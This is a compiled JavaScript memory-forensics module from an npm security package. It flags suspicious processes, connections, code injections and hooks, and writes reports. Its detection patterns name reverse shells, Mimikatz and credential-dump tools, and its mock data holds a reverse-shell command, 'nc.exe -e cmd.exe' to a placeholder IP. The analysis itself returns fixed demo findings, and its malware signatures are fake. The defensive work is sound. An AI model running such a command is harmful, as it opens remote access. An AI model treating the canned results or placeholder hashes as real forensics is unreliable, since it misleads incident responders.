@iota-big3/sdk-security
Version:
Advanced security features including zero trust, quantum-safe crypto, and ML threat detection
748 lines (734 loc) • 29 kB
JavaScript
;
/**
* Memory Forensics Analyzer
* Analyzes memory dumps for malware, suspicious processes, and IOCs
*/
Object.defineProperty(exports, "__esModule", { value: true });
exports.MemoryAnalyzer = void 0;
const tslib_1 = require("tslib");
const crypto = tslib_1.__importStar(require("crypto"));
const events_1 = require("events");
const types_1 = require("../types");
class MemoryAnalyzer extends events_1.EventEmitter {
constructor() {
super();
this.type = types_1.ForensicAnalysisType.MEMORY;
this.knownGoodProcesses = new Set([
'System', 'smss.exe', 'csrss.exe', 'wininit.exe',
'services.exe', 'lsass.exe', 'svchost.exe', 'winlogon.exe',
'explorer.exe', 'kernel32.dll', 'ntdll.dll'
]);
this.suspiciousPatterns = new Map([
['reverse_shell', /nc\.exe.*-e.*cmd\.exe|cmd\.exe.*\/c.*nc/i],
['mimikatz', /sekurlsa|lsadump|kerberos|crypto|dpapi/i],
['powershell_encoded', /powershell.*-enc|-encodedcommand/i],
['wmi_persistence', /wmic.*process.*call.*create/i],
['credential_dump', /hashdump|pwdump|gsecdump/i]
]);
this.malwareSignatures = new Map([
['emotet', '8F26BA3F4D8E4A3B9F8E7D6C5B4A3928'],
['trickbot', 'A1B2C3D4E5F6789012345678901234567'],
['cobalt_strike', '000000000000000000000000DEADBEEF']
]);
}
/**
* Analyze memory dump
*/
async analyze(evidence) {
if (evidence.type !== types_1.ForensicAnalysisType.MEMORY) {
throw new Error('Evidence is not a memory dump');
}
this.emit('analysis:started', { evidenceId: evidence.id });
const findings = [];
const artifacts = [];
const iocs = [];
const timeline = [];
try {
// Parse memory dump
const memoryData = await this.parseMemoryDump(evidence);
// Analyze processes
const processFindings = await this.analyzeProcesses(memoryData.processes);
findings.push(...processFindings.findings);
iocs.push(...processFindings.iocs);
// Analyze network connections
const networkFindings = await this.analyzeNetworkConnections(memoryData.connections);
findings.push(...networkFindings.findings);
iocs.push(...networkFindings.iocs);
// Analyze loaded modules
const moduleFindings = await this.analyzeModules(memoryData.modules);
findings.push(...moduleFindings.findings);
// Check for code injections
if (memoryData.injections) {
const injectionFindings = await this.analyzeInjections(memoryData.injections);
findings.push(...injectionFindings);
}
// Check for hooks
if (memoryData.hooks) {
const hookFindings = await this.analyzeHooks(memoryData.hooks);
findings.push(...hookFindings);
}
// Extract suspicious strings
if (memoryData.suspiciousStrings) {
const stringArtifacts = await this.extractStrings(memoryData.suspiciousStrings, evidence.id);
artifacts.push(...stringArtifacts);
}
// Build timeline
timeline.push(...this.buildTimeline(memoryData));
// Generate analysis result
const result = {
id: crypto.randomUUID(),
timestamp: new Date(),
analyst: 'MemoryAnalyzer',
type: 'Memory Analysis',
tool: 'IOTA Memory Forensics',
findings,
artifacts,
iocs,
timeline,
conclusion: this.generateConclusion(findings)
};
this.emit('analysis:completed', {
evidenceId: evidence.id,
findingsCount: findings.length,
iocsCount: iocs.length
});
return result;
}
catch (error) {
this.emit('analysis:failed', {
evidenceId: evidence.id,
error: error.message
});
throw error;
}
}
/**
* Validate memory dump
*/
async validate(evidence) {
// Check file signature
const header = await this.readHeader(evidence.storagePath);
// Common memory dump signatures
const validSignatures = [
'MDMP', // Windows minidump
'PAGE', // Windows full dump
'hibr', // Hibernation file
'VMEM', // VMware memory
'lime', // LiME format
'raw' // Raw memory
];
return validSignatures.some(sig => header.includes(sig));
}
/**
* Extract artifacts from memory
*/
async extract(evidence, options) {
const artifacts = [];
// Extract process executables
if (options?.extractExecutables) {
const exeArtifacts = await this.extractExecutables(evidence);
artifacts.push(...exeArtifacts);
}
// Extract network packets
if (options?.extractNetworkData) {
const netArtifacts = await this.extractNetworkData(evidence);
artifacts.push(...netArtifacts);
}
// Extract registry hives
if (options?.extractRegistry) {
const regArtifacts = await this.extractRegistryHives(evidence);
artifacts.push(...regArtifacts);
}
return artifacts;
}
/**
* Generate report
*/
async generateReport(analysis) {
const report = `
# Memory Forensics Analysis Report
**Analysis ID**: ${analysis.id}
**Date**: ${analysis.timestamp.toISOString()}
**Analyst**: ${analysis.analyst}
**Tool**: ${analysis.tool}
## Executive Summary
${analysis.conclusion}
## Key Findings
${analysis.findings.map(f => `
### ${f.title} (${f.severity})
- **Type**: ${f.type}
- **Description**: ${f.description}
${f.location ? `- **Location**: ${f.location}` : ''}
`).join('\n')}
## Indicators of Compromise (IOCs)
Total IOCs found: ${analysis.iocs?.length || 0}
${(analysis.iocs || []).map(ioc => `
- **${ioc.type}**: ${ioc.value}
- Context: ${ioc.context || 'N/A'}
- Confidence: ${ioc.confidence}%
`).join('\n')}
## Extracted Artifacts
${analysis.artifacts.map(a => `
- **${a.name}** (${a.type})
- Size: ${this.formatBytes(a.size)}
- Hash: ${a.hash}
- Malicious: ${a.malicious ? 'Yes' : 'No'}
`).join('\n')}
## Timeline
${(analysis.timeline || []).slice(0, 20).map(t => `
- **${t.timestamp.toISOString()}**: ${t.action}
- Source: ${t.source}
${t.details ? `- Details: ${t.details}` : ''}
`).join('\n')}
## Recommendations
1. Isolate affected systems immediately
2. Collect additional memory dumps from related systems
3. Review network logs for identified IOCs
4. Update security tools with discovered indicators
5. Conduct threat hunting based on TTPs identified
`.trim();
return report;
}
/**
* Export findings
*/
async exportFindings(analysis, format) {
switch (format) {
case 'json':
return Buffer.from(JSON.stringify(analysis, null, 2));
case 'csv':
return this.exportToCSV(analysis);
case 'stix':
return this.exportToSTIX(analysis);
default:
throw new Error(`Unsupported export format: ${format}`);
}
}
/**
* Private helper methods
*/
async parseMemoryDump(evidence) {
// In production, would use tools like Volatility or Rekall
// For demo, return mock analysis
return {
evidenceId: evidence.id,
systemInfo: {
hostname: 'DESKTOP-ABC123',
os: 'Windows 10 Pro',
architecture: 'x64',
kernelVersion: '10.0.19043',
bootTime: new Date('2024-01-25T08:00:00Z')
},
processes: this.generateMockProcesses(),
connections: this.generateMockConnections(),
modules: this.generateMockModules(),
injections: this.generateMockInjections(),
hooks: this.generateMockHooks(),
suspiciousStrings: [
'powershell -enc SGFja2VkIQ==',
'mimikatz.exe',
'HKEY_CURRENT_USER\\Software\\Classes\\mscfile\\shell\\open\\command',
'nc.exe -e cmd.exe 192.168.1.100 4444'
]
};
}
async analyzeProcesses(processes) {
const findings = [];
const iocs = [];
for (const process of processes) {
// Check for suspicious process names
if (!this.knownGoodProcesses.has(process.name) && process.suspicious) {
findings.push({
id: crypto.randomUUID(),
severity: types_1.FindingSeverity.HIGH,
type: types_1.FindingType.SUSPICIOUS_PROCESS,
title: `Suspicious Process: ${process.name}`,
description: `Potentially malicious process detected: ${process.suspicionReasons?.join(', ')}`,
evidence: [process.pid.toString()],
location: process.path,
metadata: { process }
});
// Add as IOC
iocs.push({
type: types_1.IOCType.PROCESS_NAME,
value: process.name,
context: `PID: ${process.pid}, Path: ${process.path}`,
confidence: 85,
firstSeen: process.startTime
});
}
// Check for process masquerading
if (this.isProcessMasquerading(process)) {
findings.push({
id: crypto.randomUUID(),
severity: types_1.FindingSeverity.CRITICAL,
type: types_1.FindingType.SUSPICIOUS_PROCESS,
title: `Process Masquerading: ${process.name}`,
description: 'Process appears to be masquerading as a legitimate Windows process',
evidence: [process.pid.toString()],
location: process.path
});
}
// Check command line for suspicious patterns
if (process.commandLine) {
for (const [patternName, pattern] of this.suspiciousPatterns) {
if (pattern.test(process.commandLine)) {
findings.push({
id: crypto.randomUUID(),
severity: types_1.FindingSeverity.HIGH,
type: types_1.FindingType.SUSPICIOUS_PROCESS,
title: `Suspicious Command Line: ${patternName}`,
description: `Process ${process.name} has suspicious command line arguments`,
evidence: [process.commandLine],
metadata: { pattern: patternName }
});
}
}
}
}
return { findings, iocs };
}
async analyzeNetworkConnections(connections) {
const findings = [];
const iocs = [];
// Known malicious IPs (in production, would use threat intel)
const maliciousIPs = new Set([
'185.220.101.45',
'192.168.1.100',
'10.10.10.10'
]);
for (const conn of connections) {
// Check for connections to malicious IPs
if (conn.remoteAddress && maliciousIPs.has(conn.remoteAddress)) {
findings.push({
id: crypto.randomUUID(),
severity: types_1.FindingSeverity.CRITICAL,
type: types_1.FindingType.NETWORK_CONNECTION,
title: `Connection to Known Malicious IP`,
description: `Process ${conn.process?.name} connected to malicious IP ${conn.remoteAddress}`,
evidence: [`${conn.localAddress}:${conn.localPort} -> ${conn.remoteAddress}:${conn.remotePort}`],
metadata: { connection: conn }
});
iocs.push({
type: types_1.IOCType.IP_ADDRESS,
value: conn.remoteAddress,
context: `Outbound connection from ${conn.process?.name}`,
confidence: 95
});
}
// Check for reverse shells (common ports)
const reverseShellPorts = [4444, 4445, 8080, 8888, 9999];
if (conn.remotePort && reverseShellPorts.includes(conn.remotePort)) {
findings.push({
id: crypto.randomUUID(),
severity: types_1.FindingSeverity.HIGH,
type: types_1.FindingType.NETWORK_CONNECTION,
title: `Possible Reverse Shell Connection`,
description: `Suspicious outbound connection on port ${conn.remotePort}`,
evidence: [`${conn.process?.name} -> ${conn.remoteAddress}:${conn.remotePort}`]
});
}
}
return { findings, iocs };
}
async analyzeModules(modules) {
const findings = [];
for (const module of modules) {
// Check for unsigned modules
if (!module.signed && module.suspicious) {
findings.push({
id: crypto.randomUUID(),
severity: types_1.FindingSeverity.MEDIUM,
type: types_1.FindingType.SUSPICIOUS_PROCESS,
title: `Unsigned Module: ${module.name}`,
description: 'Unsigned module loaded in memory',
evidence: [module.path],
metadata: { module }
});
}
// Check for known malware modules
if (module.hash && this.malwareSignatures.has(module.name)) {
if (module.hash === this.malwareSignatures.get(module.name)) {
findings.push({
id: crypto.randomUUID(),
severity: types_1.FindingSeverity.CRITICAL,
type: types_1.FindingType.MALWARE,
title: `Known Malware Module: ${module.name}`,
description: 'Module matches known malware signature',
evidence: [module.hash],
location: module.path
});
}
}
}
return { findings };
}
async analyzeInjections(injections) {
const findings = [];
for (const injection of injections) {
findings.push({
id: crypto.randomUUID(),
severity: injection.malicious ? types_1.FindingSeverity.CRITICAL : types_1.FindingSeverity.HIGH,
type: types_1.FindingType.SUSPICIOUS_PROCESS,
title: `Code Injection Detected`,
description: `Process ${injection.targetProcess.name} has injected code using ${injection.technique || 'unknown technique'}`,
evidence: [
`Target PID: ${injection.targetProcess.pid}`,
`Injection Address: ${injection.injectedCode.address}`,
`Size: ${injection.injectedCode.size} bytes`
],
metadata: { injection }
});
}
return findings;
}
async analyzeHooks(hooks) {
const findings = [];
for (const hook of hooks) {
if (hook.malicious) {
findings.push({
id: crypto.randomUUID(),
severity: types_1.FindingSeverity.HIGH,
type: types_1.FindingType.SUSPICIOUS_PROCESS,
title: `Malicious Hook Detected`,
description: `${hook.type} hook on ${hook.target} by process ${hook.hookedBy.name}`,
evidence: [
`Hook Address: ${hook.hookAddress}`,
`Original Address: ${hook.originalAddress || 'unknown'}`
],
metadata: { hook }
});
}
}
return findings;
}
async extractStrings(strings, evidenceId) {
const artifacts = [];
// Create strings artifact
const stringsContent = strings.join('\n');
const hash = crypto.createHash('sha256').update(stringsContent).digest('hex');
artifacts.push({
id: crypto.randomUUID(),
name: 'suspicious_strings.txt',
type: types_1.ArtifactType.MEMORY_STRINGS,
size: Buffer.byteLength(stringsContent),
hash,
extractedFrom: evidenceId,
extractedAt: new Date(),
malicious: true,
metadata: {
count: strings.length,
categories: this.categorizeStrings(strings)
}
});
return artifacts;
}
buildTimeline(memoryData) {
const timeline = [];
// Add process start times
for (const process of memoryData.processes) {
if (process.startTime) {
timeline.push({
timestamp: process.startTime,
source: 'Process',
action: 'Process Started',
actor: process.user,
target: process.name,
details: `PID: ${process.pid}, Path: ${process.path}`
});
}
}
// Add network connections
for (const conn of memoryData.connections) {
if (conn.established) {
timeline.push({
timestamp: conn.established,
source: 'Network',
action: 'Connection Established',
actor: conn.process?.name,
target: `${conn.remoteAddress}:${conn.remotePort}`,
details: `Protocol: ${conn.protocol}, State: ${conn.state}`
});
}
}
// Sort by timestamp
timeline.sort((a, b) => a.timestamp.getTime() - b.timestamp.getTime());
return timeline;
}
isProcessMasquerading(process) {
// Check if process name matches known good but path doesn't
const legitimatePaths = {
'svchost.exe': ['C:\\Windows\\System32', 'C:\\Windows\\SysWOW64'],
'csrss.exe': ['C:\\Windows\\System32'],
'lsass.exe': ['C:\\Windows\\System32'],
'services.exe': ['C:\\Windows\\System32']
};
if (legitimatePaths[process.name]) {
const validPaths = legitimatePaths[process.name];
if (process.path && !validPaths.some(p => process.path.startsWith(p))) {
return true;
}
}
return false;
}
categorizeStrings(strings) {
const categories = {
urls: 0,
ips: 0,
commands: 0,
paths: 0,
registry: 0,
encoded: 0,
other: 0
};
const ipRegex = /\b(?:\d{1,3}\.){3}\d{1,3}\b/;
const urlRegex = /https?:\/\/[^\s]+/i;
const pathRegex = /[A-Z]:\\[^\s]+/i;
const registryRegex = /HKEY_[A-Z_]+/i;
const encodedRegex = /^[A-Za-z0-9+/]+=*$/;
for (const str of strings) {
if (urlRegex.test(str))
categories.urls++;
else if (ipRegex.test(str))
categories.ips++;
else if (pathRegex.test(str))
categories.paths++;
else if (registryRegex.test(str))
categories.registry++;
else if (encodedRegex.test(str) && str.length > 20)
categories.encoded++;
else if (str.includes('cmd') || str.includes('powershell'))
categories.commands++;
else
categories.other++;
}
return categories;
}
formatBytes(bytes) {
const units = ['B', 'KB', 'MB', 'GB'];
let size = bytes;
let unitIndex = 0;
while (size >= 1024 && unitIndex < units.length - 1) {
size /= 1024;
unitIndex++;
}
return `${size.toFixed(2)} ${units[unitIndex]}`;
}
exportToCSV(analysis) {
const lines = ['Type,Severity,Title,Description,Evidence'];
for (const finding of analysis.findings) {
lines.push([
finding.type,
finding.severity,
`"${finding.title}"`,
`"${finding.description}"`,
`"${finding.evidence.join('; ')}"`
].join(','));
}
return Buffer.from(lines.join('\n'));
}
exportToSTIX(analysis) {
// STIX 2.1 format
const stixBundle = {
type: 'bundle',
id: `bundle--${crypto.randomUUID()}`,
objects: [
...analysis.findings.map(f => ({
type: 'indicator',
id: `indicator--${crypto.randomUUID()}`,
created: new Date().toISOString(),
modified: new Date().toISOString(),
name: f.title,
description: f.description,
pattern_type: 'stix',
pattern: `[file:hashes.SHA-256 = '${f.metadata?.hash || 'unknown'}']`,
valid_from: new Date().toISOString(),
labels: ['malicious-activity']
})),
...(analysis.iocs || []).map(ioc => ({
type: 'indicator',
id: `indicator--${crypto.randomUUID()}`,
created: new Date().toISOString(),
modified: new Date().toISOString(),
name: `${ioc.type}: ${ioc.value}`,
pattern_type: 'stix',
pattern: this.iocToSTIXPattern(ioc),
valid_from: new Date().toISOString(),
confidence: ioc.confidence
}))
]
};
return Buffer.from(JSON.stringify(stixBundle, null, 2));
}
iocToSTIXPattern(ioc) {
switch (ioc.type) {
case types_1.IOCType.IP_ADDRESS:
return `[network-traffic:dst_ref.value = '${ioc.value}']`;
case types_1.IOCType.DOMAIN:
return `[domain-name:value = '${ioc.value}']`;
case types_1.IOCType.FILE_HASH:
return `[file:hashes.SHA-256 = '${ioc.value}']`;
case types_1.IOCType.PROCESS_NAME:
return `[process:name = '${ioc.value}']`;
default:
return `[x-ioc:value = '${ioc.value}']`;
}
}
async readHeader(path) {
// Mock implementation
return 'MDMP'; // Windows minidump format
}
async extractExecutables(evidence) {
// Mock implementation
return [];
}
async extractNetworkData(evidence) {
// Mock implementation
return [];
}
async extractRegistryHives(evidence) {
// Mock implementation
return [];
}
generateConclusion(findings) {
const criticalCount = findings.filter(f => f.severity === types_1.FindingSeverity.CRITICAL).length;
const highCount = findings.filter(f => f.severity === types_1.FindingSeverity.HIGH).length;
if (criticalCount > 0) {
return `Critical security incident detected. Found ${criticalCount} critical and ${highCount} high severity findings indicating active compromise. Immediate remediation required.`;
}
else if (highCount > 0) {
return `Suspicious activity detected. Found ${highCount} high severity findings that require investigation and remediation.`;
}
else {
return `Analysis complete. Found ${findings.length} findings of medium or lower severity. Recommend security hardening and continued monitoring.`;
}
}
// Mock data generators
generateMockProcesses() {
return [
{
pid: 4,
ppid: 0,
name: 'System',
path: 'System',
user: 'NT AUTHORITY\\SYSTEM',
startTime: new Date('2024-01-25T08:00:00Z'),
threads: 150,
handles: 5000,
memory: { virtual: 1024 * 1024, physical: 512 * 1024, private: 256 * 1024 },
suspicious: false
},
{
pid: 1234,
ppid: 856,
name: 'svchost.exe',
path: 'C:\\temp\\svchost.exe', // Suspicious path
commandLine: 'svchost.exe -k malicious',
user: 'DESKTOP-ABC\\user',
startTime: new Date('2024-01-25T10:30:00Z'),
threads: 5,
handles: 150,
memory: { virtual: 50 * 1024 * 1024, physical: 30 * 1024 * 1024, private: 20 * 1024 * 1024 },
suspicious: true,
suspicionReasons: ['Unusual path', 'Unknown service group']
},
{
pid: 5678,
ppid: 1234,
name: 'powershell.exe',
path: 'C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe',
commandLine: 'powershell.exe -enc SGFja2VkIQ==',
user: 'DESKTOP-ABC\\user',
startTime: new Date('2024-01-25T10:35:00Z'),
threads: 8,
handles: 200,
memory: { virtual: 200 * 1024 * 1024, physical: 150 * 1024 * 1024, private: 100 * 1024 * 1024 },
suspicious: true,
suspicionReasons: ['Encoded command']
}
];
}
generateMockConnections() {
return [
{
protocol: 'TCP',
localAddress: '192.168.1.10',
localPort: 49152,
remoteAddress: '185.220.101.45',
remotePort: 443,
state: 'ESTABLISHED',
process: this.generateMockProcesses()[1],
established: new Date('2024-01-25T10:31:00Z')
},
{
protocol: 'TCP',
localAddress: '192.168.1.10',
localPort: 49153,
remoteAddress: '192.168.1.100',
remotePort: 4444,
state: 'ESTABLISHED',
process: this.generateMockProcesses()[2],
established: new Date('2024-01-25T10:36:00Z')
}
];
}
generateMockModules() {
return [
{
name: 'ntdll.dll',
path: 'C:\\Windows\\System32\\ntdll.dll',
baseAddress: '0x00007FFF12340000',
size: 1024 * 1024 * 2,
signed: true,
signer: 'Microsoft Corporation',
suspicious: false
},
{
name: 'malicious.dll',
path: 'C:\\temp\\malicious.dll',
baseAddress: '0x00007FFF56780000',
size: 256 * 1024,
signed: false,
hash: '8F26BA3F4D8E4A3B9F8E7D6C5B4A3928',
suspicious: true
}
];
}
generateMockInjections() {
return [
{
targetProcess: {
pid: 856,
ppid: 4,
name: 'lsass.exe',
path: 'C:\\Windows\\System32\\lsass.exe',
user: 'NT AUTHORITY\\SYSTEM',
threads: 10,
memory: { virtual: 100 * 1024 * 1024, physical: 50 * 1024 * 1024, private: 30 * 1024 * 1024 },
suspicious: false
},
injectedCode: {
address: '0x00007FFF89AB0000',
size: 4096,
type: 'shellcode'
},
technique: 'SetThreadContext',
malicious: true
}
];
}
generateMockHooks() {
return [
{
type: 'IAT Hook',
target: 'kernel32.dll!CreateProcessW',
hookedBy: this.generateMockProcesses()[1],
hookAddress: '0x00007FFF12345678',
originalAddress: '0x00007FFF12340000',
malicious: true
}
];
}
}
exports.MemoryAnalyzer = MemoryAnalyzer;
//# sourceMappingURL=memory-analyzer.js.map